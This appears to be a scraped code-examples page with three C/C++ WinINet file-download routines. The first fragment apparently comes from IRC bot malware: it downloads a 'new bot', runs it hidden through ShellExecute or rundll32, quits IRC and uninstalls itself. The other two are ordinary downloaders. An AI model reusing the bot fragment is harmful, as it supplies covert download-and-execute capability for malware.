		HANDLE f = CreateFile(dl.dest, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
		if(f == INVALID_HANDLE_VALUE)
		{
			clearthread(dl.tnum);
			_endthreadex(0);
		}
		do
		{
			InternetReadFile(fh, buffer, sizeof(buffer), &r);
			WriteFile(f, buffer, r, &w, 0);
		}
		while(r > 0);
		CloseHandle(f);
		InternetCloseHandle(fh);
		InternetCloseHandle(ih);
		if(dl.update) /* update to new bot */
		{
			if(dl.updatex)
				ShellExecute(0, "open", dl.dest, 0, 0, SW_HIDE);
			else
			{
				char buf[256];
				_snprintf(buf, sizeof(buf), "%s,start", dl.dest);
				ShellExecute(0, "open", "rundll32.exe", buf, 0, SW_HIDE);
			}
			irc_send("QUIT");
			uninstall();
		}
		else if(dl.run) /* open file */
			ShellExecute(0, "open", dl.dest, 0, 0, SW_SHOW);
	}
	clearthread(dl.tnum);
	_endthreadex(0);
	return 0;
}
Exemple #29
0
bool ABPLTools::DownloadFile(CString url, CString destination, InternetFeedback* pCIF, bool *pbExit)
{
bool			bResult = false ;
HINTERNET		hSession, hConnect ;
char			szTemp[512] ;
DWORD			dwBytesRead ;

	if (pbExit==NULL)
		pbExit = &bResult;

	if (hSession = InternetOpen (TEXT("ABP-Launcher (Win)"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0))
	{
		/*unsigned long to = Timeout;
		InternetSetOption(hSession, INTERNET_OPTION_CONNECT_TIMEOUT, &to, sizeof(unsigned long));*/
		if (hConnect = InternetOpenUrl (hSession, url, NULL, 0, INTERNET_FLAG_RELOAD, 0))
		{
			DWORD dwSize = 512, dwIndex=0;
			HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH, szTemp, &dwSize, &dwIndex);
			DWORD totalSize = atol(szTemp);
			HANDLE hFile = CreateFile(destination, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, 0);
			if (hFile!=INVALID_HANDLE_VALUE)
			{
				DWORD dwTotal=0;
				do
				{	
					dwBytesRead=0;
					if (InternetReadFile (hConnect, szTemp, sizeof (szTemp)-1, &dwBytesRead))
					{
						DWORD dwWritten;
						WriteFile(hFile, szTemp, dwBytesRead, &dwWritten, NULL);
						dwTotal += dwWritten;
						if (pCIF)
							pCIF->DownloadFeedback(totalSize, dwTotal);
					}
				}
				while (dwBytesRead > 0 && *pbExit==false);
				bResult = !*pbExit ;
				CloseHandle(hFile);
				if (!bResult)
					DeleteFile(destination);
			}
			InternetCloseHandle (hConnect) ;
		}
		InternetCloseHandle (hSession) ;
	}
	return bResult ;
}
BOOL DownloadToFile(LPCTSTR fileName, HINTERNET hInternet, LPCWSTR url)
{
	TRACEST(_T("DownloadToFile"), CW2CT(url));
	BOOL bDownloadSuccess = FALSE;
	if (hInternet == NULL)
		return FALSE;
	HINTERNET hFile = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE, 0);
	if (hFile)
	{   
		const int bufferSize = 8192;
		BYTE bf[bufferSize];
		unsigned long nSize = 0;
		BOOL bReadSuccess = TRUE;
		HANDLE f = CreateFile(fileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
		if (f != INVALID_HANDLE_VALUE)
		{
			while(bReadSuccess)
			{
				bReadSuccess = InternetReadFile(hFile, bf, bufferSize, &nSize);
				if (bReadSuccess)
				{
					if (nSize == 0)
					{
						TRACE(_T("@3 DownloadToFile. InternetReadFile Finished\r\n"));
						bDownloadSuccess = TRUE;
						break;
					}
					DWORD bWritten = 0;
					if (WriteFile(f, bf, nSize, &bWritten, NULL) == 0)
					{
						bReadSuccess = FALSE;
						TRACE(_T("@3 DownloadToFile. WriteFile Failed [%d]\r\n"), GetLastError());
					}
				}
				else
					HandleInternetError(_T("DownloadToFile. InternetReadFile"));
			}
			CloseHandle(f);
		}
		else
			TRACE(_T("@3 DownloadToFile. CreateFile Failed [%d]\r\n"), GetLastError());
		InternetCloseHandle(hFile);
	}
	else
		HandleInternetError(_T("DownloadToFile. InternetOpenUrl"));
	return bDownloadSuccess;
}